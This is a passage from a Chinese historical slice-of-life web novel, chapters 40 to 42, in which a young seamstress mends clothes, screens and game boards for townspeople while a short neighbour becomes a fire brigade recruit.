闹得原本想走的大伙一顿笑,愣是坐住了,听完了这笑料百出的象生,也有不少人记住了这个社,女童们谢幕时热泪盈眶。 春大娘顶着通红的双眼,拉着林秀水的手说:“我算是叫她们有了口饭吃。” 林秀水摇头道:“那可没有,大娘你老早叫她们吃上饭了。” 在许久之前,在她们爹娘不要的时候。 只是眼下,有了更好的前程,是光明的,而非黑暗的,是从吃了许多苦里走出来的,属于自己的路。 林秀水从南瓦子里出来,这里及至夜深,也仍是热闹的,有人在吊嗓子,有人在练敲鼓,有人在摆弄皮影,这里有许多不曾停歇的人。 也有许多为日子奔波的,挑担沿街叫卖,打着盹守小小的摊子,有夜里仍在船运桑秧的…,诸如种种。 日子奔波而忙碌,辛勤也有回报。 比如小荷,终于靠她的辛勤和努力,攒下了百来文钱。 但她居然将钱袋子都塞给了林秀水,很认真许了两个愿望。 第一个愿望是,要给她心爱的橘猫——猫小叶,做一个小猫玩的耍货,当然一个不嫌少,两个不嫌多,能有三五个更好。 但她的第二个愿望,是给另一个小女孩许的愿望。 第40章 第 40 章 想长高的人当了潜火兵…… “逗猫棒不算, 那是阿姐做的,不是我给的。” 小荷推推钱袋子,仰起脑袋说:“我想阿姐你给小叶做只大老鼠。” “猫要抓老鼠的, 它又小又懒,抓不着,阿姐你给它做一只。” 林秀水拆钱袋的手一顿, 偏过头看她,以为小荷真能想出些好东西,结果是做老鼠,这种东西当真是一个也嫌多。 布老鼠她确实会做, 是那种尖尖小小的老鼠,缝上眼睛和尾巴便成,她勉强能满足这个愿望。 “除了老鼠呢?” 小荷抱住她胳膊说:“还有跟小花有关啊。” 小花倒不是让林秀水做花, 而是小荷的好友,像小荷大名叫王绿荷,小花的大名是方莲子,两个人名字有缘,年纪相仿,在桑树口这一条巷弄里,两人最玩得来。 从前林秀水没来时, 王月兰又忙于染肆的活, 晌午回来给小荷做饭, 很多次小花会带她娘备的午饭, 走半条巷子过来跟小荷分着吃。 “小花娘老是很忙,又跟我一样没有爹,一忙起来,就给她几个铜板, 叫她出去买饭吃,”小荷叉着腰,像老太太一样叹气,“她已经好久不跟我出来玩了。” “连我抱猫小叶过去,她也没有很高兴,我就是知道。” 小荷也有小小的烦恼,夜里也会睡不着,明明从前小花跟她最要好的。 “后来我发现了,”小荷嘟嘴说,“小花娘没空给她缝衣裳,小花日日穿一双鞋去买饭,鞋底磨破了,她补不回去。” “阿姐,我以后把我赚的钱都给你,你给小花缝衣裳好不好?” 林秀水却摸摸她的脑袋,轻声问小荷,“小花愿意吗?” 从前的那些年里,在她还没有学会裁缝手艺时,她娘时常病着也没空给她补衣裳,那会儿陈家伯母给她补时,她心怀感恩,却总有种小而隐秘的难堪,来自日子难过时无法逃脱的窘迫。 小荷趴在她肩膀上,她低下脑袋说:“我也不晓得,她不跟我说呀。” 林秀水搂住她,“好了,大宝,我问问你,小花会做什么,什么做得最好?” “她会许多东西,烧炉子、热饭、洗衣裳、扫家里的地,好多好多活都会做,她比我能干多了,”小荷一一细数,在她心里,小花只比阿姐阿娘差一些,差的不是手艺,是岁数。 小荷想,小花还太小,她要能大一点,那肯定更厉害了。 林秀水想了想,她手里有猫儿巷店家要她做逗猫棒的活,她主要是给小荷接着做的,一日也不算特别多,做底下的流苏穗子绕线很简单。 她便说:“那你把自己的活也叫小花一起做,赚了钱她自己能来补衣裳了。” 林秀水告诉小荷,有时候好心也会办坏事的,尤其是带着同情,自上而下不曾察觉的。 小荷懵懵懂懂的,但她却欢喜地拍手,“我要把我的活分给小花,要她也赚多多的钱。” 她说出句至理名言,“没钱是万万不行的,手里有钱才好办事。” “也对吧,”林秀水纳闷,她说了那么一大堆有道理的话,怎么这小孩只听进去这句话。 小荷很快揣着东西去找小花,生拉硬拽,死缠烂打,林秀水倒是不大知道两小孩咋说的,反正第二日下午,小荷牵着小花过来了。 小花才七岁,个头小小的,脸也小小的,眼睛很大,穿不合身的蓝粗布衣裳,宽宽大大的,像灯罩套在蜡烛身上。 她倒是没有那么局促,握着几枚铜板说:“小荷说阿俏姐姐你补衣裳很便宜,我也,我也想补衣裳。” 小荷插话道:“我真不骗人。” “我补衣裳你没听过吗?我最便宜了,一两文便成,你给我瞧瞧,哪里破了,”林秀水将她当成普通上门的客人,去取出自己的针线。 小花松了口气,她有九文钱,能补得起衣裳,脱下来给林秀水瞧,这衣裳破了好些洞,边缘处开裂了,她不大会洗衣裳。 林秀水伸手接过瞧了瞧,裂口处好缝,破洞多,打补丁不大合适,没有哪个小孩喜欢穿补丁衣裳的。 她拿出一小木盒的布贴,招招手,“小花,我给你衣裳缝些花行不行,你来挑挑。” 林秀水是用布头的布头,废物利用,剪了些花样子出来,小小的,大大的,四瓣五瓣,各种花色,缝在破洞处不违和。 小花犹豫着选好黄和白的,林秀水用镊子取出,按在上头,大大小小排好,握着针线给缝上,在两小孩的眼里,她简直像蚕花娘娘一样,吐出蚕丝,将那些破洞一点点缝好,变成生在衣裳上的花,一点也不突兀。 变成了小花身上漂亮的绣花衣裳,让她小而忐忑的心渐渐落下,她反复抚摸衣裳,嘴角渐渐翘起。 林秀水收了她三文钱,小荷想安慰小花,睁眼说瞎话:“其实,我找我阿姐补衣裳也是要收钱的。” “??” 林秀水正将针线插回到针插上,闻言慢慢扭头,说的什么鬼话? 她看小花跟小荷一起拿布老鼠,逗猫小叶扑着玩,听小花小声说:“我从前觉得我娘最厉害,我也想做个稳婆。” “那你不想做稳婆了?” 小花蹲在那,她摸摸自己的衣裳,“可我这会儿,觉得当个裁缝也很好。” 尤其是后面,随着她拿钱来补衣裳,一件件破衣裳被补好,成了带花的好看衣裳,鞋子不再大开着嘴,不再她走一步踢踏踢踏地响,出去玩也有人夸她的衣裳,小花打心底里认为阿俏姐姐的针线比郎中的还要厉害。 她不止一次想,长大以后也要做个裁缝,做个好裁缝,她会帮很多人补好衣裳。 不过补完衣裳之后,小花娘李稳婆在大早上,脚步匆匆过来,二三十岁的模样,发髻梳得很利落,穿着窄袖的衣裳,背着只宽木箱子,眼底青黑。 大家都叫她稳婆,她也管自己叫李稳婆。 “我刚接生回来,昨夜里前街有户要接生,忙到眼下,其实老早想来一趟的,”李稳婆取下腰间的钱袋子,手指上还有没洗干净的血污,“你帮小花补衣裳多少钱?我补给你,我当真是心里过意不去。” 林秀水按住她的手,“可别,李娘子,小花已经给我了。” “那几文算得上什么,”李稳婆将药箱往身后放,拉着林秀水的手说,“真是多亏你了,不然我要好些日子才能知道,干我们这行的,说句难听点,那就是只顾得上别人娃,顾不上自个儿的喊,有人来喊,半夜没睡醒都得去。” 稳婆这行当没有下工的说法,跟郎中一个样,有人要接生,不管多晚,那她都得赶紧去,有时隔得远,还得骑驴。 李稳婆过来是想将小花的衣裳托给林秀水缝补,一个月给几百文钱都成,她又说:“还有劳烦你给她做双新鞋做身新衣裳,前头你卖什么猫头鞋,我听是听说了,转头忙起来便忘了。” 林秀水满口答应,她很乐意接这种活,当然没想到,接了一个便有第二个、第三个,从前只知道巷子里好些人忙于生计,但是没想到有许多,忙起来压根顾不上孩子的,有件衣裳穿就行。 “我们也是听了李稳婆说的,我们两口子也忙得很,栽桑、治桑的,没有哪日能歇得住,尤其这两月,”采桑娘子拉着两小孩过来说。 “我自个儿活得就跟在泥地里打滚一样,这两小孩看起来,我说是穿得跟乞丐一般,拄根拐,拿口破碗,真能要到钱。” 林秀水看了眼,那倒确实是,实在太脏了些,两个小孩的衣裳尤其是膝盖处,那真是黑里带黑,没别的色。 她有些嫌弃,委婉道:“要不,娘子你给洗洗衣裳,洗洗身子先?” “我哪来的工夫,要不,你愿意接这两样活计的,我多给点银钱也成。” 林秀水头摇得比拨浪鼓还厉害,她压根不愿意,但她知道有人能做好。 “秀姐儿,寻我呀?”陈桂花扎着油布包髻走出来,看见是她将叉着的手放下来,以为是王月兰又来气她。 陈桂花分得很清,王月兰是王月兰,林秀水是林秀水,两人不一样。 “来来,屋里坐,难得你过来一趟,是不是改主意了,觉得我这人其实粗中有细,在裁缝行当也是能有出息的。” 林秀水迈进门槛,闻言停住脚步,想告诉她,那真是想太多。 “桂花姨,你安心干着眼下的行当吧,我觉得裁缝于你, 实在太屈才了,有个活只有你能做。”林秀水一脸这活非你不可的神情。 陈桂花特别稀奇,灶都不烧了,走过来说:“什么活?” 林秀水说:“给小孩洗头洗身子,洗一两身衣裳的,人家一次给十八文。” 这活她除了陈桂花,想不到有谁能接。别看陈桂花看着粗枝大叶,家里拾掇得干净,而且在香水行里做活,干得便是帮人揩背、修甲等活的。 能看这么久,说明手艺到家,这活应当能干,只是得区分男女童。 陈桂花差点没拿稳碗,她赶紧用围布兜住,一脸奇怪,“这好活你不给你姨母,你给我?”林秀水说真心话:“除了你,没人干得了。” “啊呀,秀姐儿,我真是没瞧错人,没想到你这么看得上我,找我就对了,我保证给一个个洗得干干净净的。” 陈桂花拍胸脯保证,要别的活她保不准还要犹豫,可这活,她干了两三年的,除了说她手劲大些,可从来没人说她洗得不干净。 她在香水行里能干这么久,也是学了点手法的,顶多女子那让她擦擦背,其余时候洗得最多的还是小娃,皮嫩,水温烫不烫,怎么搓不疼能干净。 尤其洗头,她保管把虱子全给洗出来。 她也跟林秀水说:“男娃得五岁下的,女娃七岁差不多,八岁就得爹娘教着洗了,洗衣裳倒是不管几岁都成。” 陈桂花说得实诚,“我保管做好,我就想赚点钱,我给拉帘子,叫人娘子上门来瞧,满意再说。” 林秀水其实还挺相信陈桂花的为人,爱占点便宜也不是大毛病,她有活愿意给人揽来。 当然陈桂花也不辜负她的信任,主要谁能跟钱过不去,她可太明白了,一次干得不好,下回就没有人找她了。 反正进去脏兮兮的娃,出来干净得不得了,尤其是头脸,陈桂花给人洗两遍,虱子多的,洗三四遍,赚钱赚得可仔细了,她确实有手艺,靠着干这活一月能多赚七八百文。 陈桂花男人说是在外头倒卖桑秧,常年不回家,寄钱也是隔上两三月寄一次,寄得又不算多,手里没钱,上头还欠着债,可不是抠搜占便宜,吃不了一点亏。 王月兰出来倒淘米水,看陈桂花从河里舀水,回来跟林秀水说:“这活是该给她干的,她在香水行里赚得吃力。” “姨母,你知道她在香水行里做活?” 林秀水放下补的衣裳,她可从来没跟外人说起过。 王月兰哼一声,“我属狗的,我能闻不出来。”“人家又不愿意说,我能多这个嘴吗,这年头赚点钱不容易,越没钱越爱抠着日子过,反正有活就叫她赚点。” 林秀水点点头,也属实没想到,有个坏处,陈桂花会早起洗衣裳。 她用枕头蒙住耳朵,听着木棍砸在衣裳上闷闷的声响,要知道从前陈桂花是三五日不洗衣裳的人。 为了赚钱,早起洗衣裳,下工洗孩子。 林秀水顶着乱糟糟的头发,坐起来发呆,屋檐又砸下点点小雨,她听见了,心安理得躺回去,她再睡会儿。 有太多要忙的活计,即使她将许多手套分给了张阿婆和陈双花做,但是还有许多零散的活计,比如塞给她的小孩缝补衣裳,包月的,有那么一大堆,还是洗过的,有些陈桂花正洗着呢。 她补了许多,发现这些小屁孩真的很能折腾,膝盖能破两三个洞,或是直接破成个大洞,那确实是乞丐也不这样穿,她要是当他们娘,压根不想缝,直接剪了做拖把。 她缝得太累,打算再睡会儿,要是睡过头了,姨母会喊她的。 王月兰在丝行的活计如鱼得水,她不忙,倒是有工夫上南货坊对街那买菜,也舍得大早上就挥霍一把,割些新鲜的肉和骨头,不再混着米一起煮,熬大骨饭和石髓饭。 她还会给小荷扎三丫髻,给林秀水梳发髻,两人商量今日扎什么花好,生活的重担一点点减轻,王月兰瞧起来年轻了些。 而林秀水实打实胖了。 小春娥上下打量她,“是真胖了,胖点好看。” 这对林秀水来说是夸奖,要知道她前头刚来桑青镇的时候,瘦得小春娥以为她从前不吃饭的,光喝水顶饱。 林秀水也说自己,“确实胖了,而且更有劲了,我从前搬不了一匹布,” “这会儿你也搬不了,”大春玲悠悠的声音传来。 林秀水看她,原本要说一句真讨厌的,但是她这会儿看大春玲,像是看一块肥美的肉。 因为熨麻布的担子,终于能交到大春玲手里。为此她已经想了许久,比起缝衣来,她真不大喜欢熨布,终于有人能接手了。 大春玲其实在熨布上,还颇有天分,可能得益于她会帮她娘炙肉,她将布看成肉一般,保证不焦和平整,就能出师了。 而林秀水则放下一半的担子,能专心缝衣裳和补衣裳,哪怕在成衣铺里,也逃不开补衣裳的活。 而且顾娘子发现了,她在缝补衣裳特别出众,有些难活别的成衣铺不接,她都要试试接过来,每次都说,万一你会补呢? 比如这扇屏风,应当说是半扇屏风,啊不,她只能说是屏风,但真的有些小巧,比手掌高,长倒是有一尺来长。 那送屏风来的伙计说:“算是屏风,这叫食屏,我们办筵席时,有许多的餐食,荤、素、从食,是以要在桌上用食屏分开。” “食屏比一般的屏风要贵上许多,扔掉可惜,不知道娘子你看看能不能补?” 林秀水捧过食屏,上头的纱面上织的是山水花纹,青绿色的,颜色倒是不繁杂,只是勾的洞要按颜色错落来,很难补。 她倒不跟从前一般,看见棘手的织补便拒绝,眼下她会想先试试,多尝试些新的补法。 “我看看,不过丑话说在前头,这东西难补,很难说补得一样,只能说差不多瞧不出。” 那伙计连忙点头,“只要瞧不出便成。” 林秀水将屏风放到桌上,开始拆线,她拆线很有技巧,从底下先拆,拆完后一根根挑,挑出她能用的线来。 反正没人能摸清,她到底挑的是什么线,只有她自个儿知道,她挑的线慢慢在眼前拼凑起来,基本是破洞处山峦的纹样。 还好这屏风的花样不大出挑,比较中规中矩,她能拼凑出线来。 可在那伙计眼里,她拆的线快,一条条摆好,比看人厨娘切细丝还要快,尤其到后面补洞,针一来一往,他闭了闭眼,想仔仔细细瞧的时候,一根线在他眼前,从屏风里滑了过去,盖在破洞处,而后便是一根又一根的线,他数了下,光是补这个破洞,要用三十六根线。 他瞧了大概半个时辰,腿酸极了,精神头却很好,在林秀水落完最后一针,剪掉线头时,他喝了一声彩,“好!” 实在是补得极好,他分明盯着那个破洞看了许久,清清楚楚记得它在哪个地方,结果补完一瞧,完全融在一处里头,他确确实实只瞧到了完整的青绿山水画,好似是从前那个他常用的食屏。 他欢欢喜喜,嘀嘀咕咕,拿起食屏反复细瞧,“当真厉害,真是一点瞧不出来。” 给了林秀水百来文的谢钱,又郑重瞧了她一眼,才抱着食屏行了礼出去。 林秀水掂起钱来,顾娘子却说了句,“那是帐设司的人。” 不然她不会接这种活的。 林秀水噢了声,她想,这帐设司还修不来一个食屏?反正这个食屏在她手里补好了。 顾娘子看她怎么平时聪明,这会儿傻里傻气,摆摆手,“快些缝你的衣裳去吧。” 当真是该乐的不乐,在这傻乐。 林秀水不止傻乐,她还会傻眼。 “我张木生,当上潜火兵了,”张木生哭得稀里哗啦的,跑过来跟林秀水说。 林秀水却看了看天,还没黑呢,怎么倒先做 起梦来了。 张木生跳脚,“当真,我要说假话,我这辈子都不会再长高。” 这发的誓真毒,林秀水立即相信,并且讨教,“怎么当上的?” 张木生抹着泪说:“那真是说来话长,一波三折,那日风里来雨里去” “能不能长话短说。” “他们说看我跳得高,”张木生压根不能说实话,他绝对不会说,是人家看他很能蹦跶,一蹦起来跟只炮仗蹿上了天一般—— 作者有话说:本章红包[彩虹屁][彩虹屁] 40-45 第41章 第 41 章 补补补,补不停…… 潜火兵大多由厢军组成, 而厢军选人第一项便是身长,就算张木生近来长高不少,离成为厢军的身长还差半个门槛。 换作寻常时候, 张木生得再长一个脑袋,才能勉强被选上。 可这会儿,临安府西湖庙宇边上起火不断, 缘于花朝节起,各地的香客到昭庆寺等庙里上香,时人称为香汛,每年从二月十五到端午才会歇。 上香的人一多, 香市里除去卖木鱼经书、各种香篮,还卖各式香蜡,尤其卖发烛的铺子多, 是松木片一头染上硫磺,同火石相擦起火。 这引火的东西多了,千防万防也防不住,香汛一个月里,连烧十来条船,七八间庙起火,防火司明令香汛内要加派人手。 昭庆寺在钱塘边上, 桑青镇又靠钱塘近, 是首批增派潜火兵的, 除厢军外其他行会、义社、无关人员都能来选。 林秀水听他说了一堆, 此时便好奇,“怎么选?看谁跳得高?” “那倒不全是,”张木生随意擦了擦脸上的泪痕,才十分兴奋地给她又跳又投比划当时的场面。 原来潜火兵有专门潜火队, 临安内城为帐前四队、亲兵队、搭材队和水军队,桑青镇只有搭材队和水军队。 前者张木生混不上,缺人的是水军队,有专门拿大小桶、水袋、唧筒等灭火的,而里头比较稀缺的是用水囊的。 那水囊是用猪小肚装满水,扎紧口而成,扔水囊的人要两样本事,一是扔得高,二是扔得准。 寻常火情都发生在民户家中,火势大时,尤其在二楼,烟熏到梯子也搭不上去,就需要扔水囊的人。 张木生自吹自擂道:“当时我只是运木材路过,一听这要求,我赶紧挤进去,人家一看,嚯,跳得这么高,扔得那么准,当即把我留下了。” 因为这么多日子里,他摸蚕花庙前的高竹竿,瞄准上头的红绳子,从之前卯时起来跳半个时辰,到后头五更天起,摸高一个时辰,这两样对他来说,实属轻松。 话说的倒是轻松,其实没人瞧得上他,嫌他个头仍旧太矮,但他脸皮子厚,硬赖着不走,站那等了许久,等人挨个全试过,看他虽然又黑又矮,可有耐力,勉强叫他试上一试。 张木生一听登时蹦了起来,有人正收拾东西,闻言道:“啥东西呲地蹿上来了,吓我一抖。 有个潜火兵啧啧两声说:“好家伙,个头矮,蹦得还挺高,家里开铺子,卖炮仗的吧。” 张木生不搭理那些话,他接过水囊,要扑灭的火盆子放在窗子后头,他瞄准火盆子,往上一跳,将水囊投出去,噗的一声炸响,在众人不可思议的眼神里,正中火盆,扑灭了火,只留下一团黑烟。 后面潜火队领头的又叫他连试好几个,换了好些地方,角度刁钻,他一一扔准了,又见他如此也没怎么喘气,才不看他高矮,破格留他下来,叫他明日带户帖到潜火队里来。 当潜火兵一月至多一两天歇,日夜轮替,包饭,月钱一贯五钱,给发放两匹绢料,有春冬衣,春衣五件,冬衣四件,发火背心。 张木生其实一路都在发懵,至今没相信,念了好几年要去募兵,想长高,想成为一个有出息的人,而不是他爹嘴里的不孝子,别人口中的小矮子。 可当路就摆在他的眼前,他反而不确信,又从而生出点怯意,路没有那么好走。 “怕的话,就当自己扔水囊依旧在摸竹竿,”林秀水又告诉他,“而且你在蚕花娘娘庙前,跳了这么久,她会保佑你的。” 张木生长呼口气,他突然来一句,“姐,我张木生这辈子做错过许多事,但没做错一件事。” 那就是之前来林秀水摊子上,请她给自己做增高的软兜长靴,那双靴子没穿上,却实打实长在了他的脚上,让他矮小的身躯也有了往上的挺拔。 林秀水虽然比他小,可他真的把她当姐看待,打心底里敬重和感谢。 “得,你别谢来谢去的,千万别同旁人讲,有活多给我介绍点就成,”林秀水挥挥手,叫他不要记挂在心,即使后来张木生给她绢料,她也没有要,她自认为,法子固然重要,可他要懒得一点不动,再好的法子也没有用。 她看着张木生走远,午后的日头将他的影子拉得高高的,照在巷子的墙上。 别人往远处走,他往高处走。 当然张木生成了潜火兵这事,像炮仗落在桑树口的巷子里,炸得好多人家里翻来覆去想不明白,怎么原先那小矮个子,也能当上潜火兵了。 潜火兵,那也是兵,比做厢军还要体面。 连张家人自己也想不通,从前觉得只能守着老本行过活,半点不着调的儿子,突然就吃上了官家饭。 这对他们造成的惊吓,比有人过来说张木生要进去吃牢饭,还要吓人,毕竟就吃牢饭而言,实现程度要更高点。 但张木生就是真过了户帖,真成了一名潜火兵,穿上火背心,簪着大红花,大摇大摆在巷子里走了一圈。 而许久后,他便灰头土脸回来,那救火的真不是人干的,索性他不是一般人,他比一般人还死要面子。 王月兰起早看他穿身橙黑的潜火服出去,衬得人也不大矮了,不像街头吊儿郎当的闲汉了,拿了菜进来说:“你说说,这人还真就一天能变个样,张木匠家还说要请大伙吃饭,又不想太张扬,怕好事变坏事,做些糕点分分,沾沾喜气。” 林秀水听了两日,耳朵都要起茧子了,她胡乱应了两声,隔壁陈桂花教训吴大饼的声音传来,“你能不能多跳两步,以后你也能吃官家饭去。” 吴大饼呜呜地哭:“我跳不了,我一跳,我肚子就难受,我以后就想卖炊饼去,要别人叫我炊饼郎。” “改名,非得改名不可,”陈桂花嚷道,“我今儿就请街口那算卦的给你改名!” 吴大饼欣然同意,“那叫肉饼,我又想吃肉,又想有大饼。” “你娘我今儿个就叫你知道,什么叫秤锤蒸饼,”陈桂花气急败坏,吴大饼知道了,合着就是打他,不是真要给他吃蒸饼。 林秀水听着,笑得一抽一抽,王月兰出来看她一眼,“傻乐啥呢,你生意不做了?外头有人喊你呢。” 啊,林秀水停住笑,真没听见,放下手里的篮筐,开门出去,第一眼没瞧见人,第二眼才看见三个蹲在门槛边的小书童。 三人戴帽背书囊,手里拿着张东西,其中一个还是前头来寻她补过书的何小郎。 何小郎扶着门框站起来,被其他两个小童戳戳后背,双手捏着破裂的纸头,小声说:“要劳烦阿俏姐姐你给我们补补,不然我们没得玩了。” “这是 什么?” 林秀水将纸拼凑在一起,见上头画了许许多多半身的人,俱是文人打扮,不免奇怪。 何小郎哦哦两声,忙放下背后的书囊,上两步台阶告诉她,“这叫选官图。” 他以为林秀水也想玩,费心告诉她,“玩选官图刚开始都是白丁平民,我们甩千千车(陀螺),上头会刻着德才功赃。” “扔到才和德的可以往前走,”一个小童说。 另一个小童赶紧补上,“功的话不能走,若停下来时,上头是个赃字,那要往后退了。” 他们玩选官图的,最后要到达太保、太师或者是太傅的位置上时,才算胜利,其他的官职都要靠功劳、德行和才干,慢慢升上去。 林秀水这下才知道,到殿试选状元、榜眼、探花前后几个月,也便是二到五月,书院私塾前后,选官图卖得特别火热,不止书院小童,那些文人墨客也玩。 而她手里这张,则在几人反反复复,日日玩耍中,终于从中间折痕处四分五裂,其他两人急得不行,再买张要几十文呢。 所幸何小郎已经有过破书再补的经验,天刚亮没多久,便带着两人往小巷子走过来,他给两人洗脑,“放心,阿俏姐姐什么都会补,不会叫我们白来一趟的。” “嘿,这都被你发现了,”林秀水拍了下何小郎肩膀,捏着两张破纸,冲边上两小童说:“放心,保管给你们补好。” 她眼下手里工具实在多,应付各种乱七八糟的问题,她找出工具箱,拿出浆糊,小刷,两张宣纸,一柄刀片和小剪。 先将选官图小心拼好,磨边的地方用小剪修一修,她把碎纸头抹去,翻过面,她握刷子蘸浆糊,在破裂处竖着刷上一层,先盖上一指头宽的长纸条。 再拿出裁好的纸,两边都裱,裱背面的用厚纸,前面的用薄宣纸,选官图从四分五裂,变得完整起来,只有中间有条裂痕。 三个小童小心拿在手里瞧,一人伸一只手握住,脑袋凑到一起看。 “收五文啊,”林秀水把刷子浸到小桶里涮了涮,抬起头跟他们说。 “啊?”何小郎有些欲言又止。 林秀水不解:“怎么了?” 何小郎开始算这笔账,摇摇脑袋道:“还是收六文吧,五文我们三个人不好分啊,六文就可以每个人付两文钱了。” 偏偏其他两人同意,剩一文钱也买不了东西。 “真是小孩,”林秀水笑着伸手,接过他们每人递来的两文钱,又塞给他们一块糖,“好了,这样就两清了。” 这三个小童怪不好意思的,商量后,从书囊里取出另一张图来,非要跟林秀水玩一把,那图叫选仙图,让她掷骰子,硬是把她送到飞升,成为最后的蓬莱仙人,才欢喜收拾东西走来,吃着糖块去书院里上学。 林秀水笑着送这三人出去,正巧碰上陈桂花开门,她扒着门边往小童处看了眼,似起了个主意,走两步过来问林秀水道:“秀姐儿,这些小娃是什么书院的,也不知贵不贵,我想送我家学田也去开蒙。” 不开蒙不行,她家这小子太死脑筋了,不奔着田和名声还有钱去,尽知道啃大饼了! 陈桂花越想越恼火,不管多少,攒了钱都送他去。 林秀水还真知道些,“前头在那过了桥的,叫什么曲水书院,束脩倒是不大清楚,一个月有些小贵。” “我再攒攒,”陈桂花说,她都不想叫人知道,自家这个连账都算不明白,别人买两个大饼,只要两文钱,天爷,亏本都亏死了,还做生意去,她想想来气,索性上工去,挣了钱还能多买点东西,给她家傻大儿补补脑袋。 林秀水倒是知道她烦什么,庆幸小荷至少钱上算得明白,但是她真高估了小荷。 小荷每日都数她的钱,摆弄几文钱,在那数:“一文,两文,三文…二十九,二十六,二十七…” “这三文给猫小叶买猫鱼吃,这三文买糖吃,分给小花,张铁生,那个总是流鼻涕的我不分,” 小荷只会数从一到十,再往后数是数得来,但数着数着就完全乱了套。王月兰倒是不恼,“没事,等她没花钱,钱还越数越少,就知道逼着自个儿数钱了。” “我的钱不会少,只会越来越多,”小荷不服气,她最近都有好好跟小花一起赚钱,她根本没有日日买糖吃。 但是钱怎么真的越来越少呢,她望着空空如也的钱袋,因为全给猫小叶吃了,它才来不到半个月,已经吹气般横长了。 小荷倒是很高兴,拍着手道:“那它能自己抓鱼去了。” 林秀水叹口气,想得可真好。 她还是赚她自个儿的钱去,少掺和这人猫姐妹的事。 如今她摆摊有了许多工具,足够她应付好些活,一张桌子已经堆不下,需要她放食盒里,是的,她发现做柜子太费钱,去南货坊淘了个食盒,放自己的各种东西。 各种布贴放一层,不同针和线,大大小小的尺子,长长短短的布尺,她还去散儿行边上买珠子。散儿行是钻珠子的,有那些各色不同的珠子,成色不好只能保证没裂痕,得扑买,花了四十文扑买一袋来,好些杂木染的,大大小小,奇形怪状,但是胜在还挺好看。 有小孩来补绢花的时候,尤其那种裂口处不大补得好时,她会从中挑颗珠子来,缝在上头,既能补得看不出,又增添了别样美感。 “我喜欢这珠子,要不给我钉些到鞋子上,我嫌这鞋子素净,唯一的好就胜在便宜了,”有头顶许多野花的娘子拿了双鞋过来,是双很青色的布鞋,压根没有任何花纹。 她自己想补些东西上去,左瞧右瞧也没法下手,又不想花大价钱,只好寻林秀水来想想办法。 林秀水完全赞同她的看法,温声细语说:“选个布头样式我给缝到上面,就不会显得很素净了,要珠子也行,选些小的,我凑起来,花样会好看些,收十五文便成。” “真的啊,我刚来这还打听了番,没想到这价钱这么实诚,”簪花娘子松了口气,别家要好些钱,她没舍得。 还是图便宜买的,她只喜欢花里胡哨的东西,苦于手里没多少银钱,都买素净的,只有花是路边有的,春天里生了许多小花,她杂七杂八摘了簪发髻上。 人都是爱俏的,林秀水当然能理解,便宜的东西拾掇下,也能变得好看,她接过这娘子选的最花的一块布头,裁好,慢慢缝在布面上,扎针纳线,用针夹一下下取线。 原先素净的鞋面,变成花里胡哨的颜色,再缝几颗小珠子,又成了双崭新的鞋,那娘子高兴极了,爱不释手。 原来她喜欢的,也能花十几文拥有,她当即穿在脚上,走进人群里,要叫大伙的鞋好好看看她的鞋。 林秀水今日补好了许多东西,有张大娘家小孙子的鞋子,原本哭得稀里哗啦的小孩,鞋子一补好,抹抹眼泪说:“穿上,我回家哭去,我还有双鞋。” 有一张大布,原先做包袱用的,那对夫妻请她改了,把破的地方打些补丁,多补补,要用背小孩,给小孩做襁褓。林秀水尽量缝得好看点,厚实点,把边角开线的地方都用粗线缝过,会牢固许多。 还上别人家,挎着包去修人家的床帐,费的工夫不少,她后面去了好几趟,钱给了八十八文,还有五文脚费。她给人家的床帐补得服服帖帖,原先这破一个洞,那破一个,她给补得保管蚊子也进不来。 桑树口的活多,河道口两岸人家的活也不少,东一处西一处,好些要补但是跟她不大能沾得上边的活计,林秀水也会先接下来,然后送到其他人手上。 比如让她补席子、斗笠、蓑衣的,她补能补,又不大补得好,送到河边竹篾匠家里,她赚个脚费,人家多点生意 ,又好比很多走山路去种桑,要补鞋底的,那她会叫给陈双花补, 还有修其他些小东西的,林秀水总能寻得到人。 她眼下认识的人实在不少,杂七杂八的都认识些,哪家补什么在行,修什么东西好,问她大多数能说得出来。 以至于桑桥渡一带,好些人都有个认知,缝补的事找她便对了,哪怕她缝不好的东西,也会给指个明路,上哪边去缝,就算真补不好,说不准还能知道买样新物件上哪买划算。 所以林秀水一天到晚不得闲,忙啊忙,反正总有许多活,她最喜欢晚上数钱,一大堆的铜板,她挨个穿进麻绳里,按一百文一百文穿好。 忽然从一开始到镇里来,掏空家底,只有二十七文钱,眼下已经翻了许多,有两三贯多的银钱! 她其实已经惊讶过一遍,数完还要再夸自己一遍。这些钱来自她给人缝补衣裳,大头是做手套、香囊等生意赚的。 虽然早就赚了八九贯,不过往外一笔笔花钱,针头线脑、各种剪子用具,零零散散加起来是笔不小的花费,还有买米面粮油等钱,这是攒下来的。 她之前没有钱,愁得日夜睡不安稳,一有钱,也睡不安稳,这会儿变成了舍不得往外花钱。 可在裁缝作这行当里,布料是最费钱的,她都不怎么接做衣裳的钱,因为没钱买成匹的布。 别看几贯钱很多,可眼下最多买一匹下等的绢料,做一件长褙子,用剩下的料再做条裤子、领抹,钱就能从她手里溜走。 想想辛辛苦苦赚好久,花出去只怕连听个响也听不见。 她听屋外头的钟鼓声,听有人过桥说话,听更夫敲打更鼓,听着张家的门开了又关,好似有烧灶煎鸡蛋的声音,她搭着自己的被子,迷迷糊糊想,大概张木生回来,陈娘子煮面给他吃吧。 当然到第二日,什么钱啊愁啊,都转眼抛到脑后去,生意自己上门了。 这单生意来自许久不见的陈九川。 第42章 第 42 章 到裁缝作里,发现也能赚…… 在陈九川的心里, 林秀水缺钱,很缺钱,尤其缺钱。 两人以前会合伙赚钱, 上林塘有许多田,便有许多田鸡和黄雀,临安内城人最爱吃这两样, 捕的人便多。 通常是林秀水拉网袋,陈九川下田捉田鸡,或者林秀水牵袋口,陈九川扑黄雀, 春夏秋冬里皆有各种活,赚的钱两人对半分,偶尔加上桑英三人平分。 眼下却不大成, 林秀水在镇上成衣铺里,进了裁缝作,而陈九川干起了船运的活,熟识相交的是桑行、蚕行,两人走的路岔开了。 但他真能揽活。 运桑叶、桑苗还是蚕种,都少不开一样东西,那就是麻袋。 林秀水上了他的船, 先前叙旧的话说了几句, 谁叫陈九川张口说她脸圆了, 林秀水不想搭理他。 看到整整齐齐堆起来的麻袋, 她张口便是,“陈九川你又改行做麻袋生意了?” “哪有,”陈九川表弟张树从成堆的麻袋里冒出头,“我们俩给你拾掇的, 叫你拿去补。” 为了弄这破麻袋,一夜没睡好,从一团团破烂收拾得这么齐整,简直要人命。 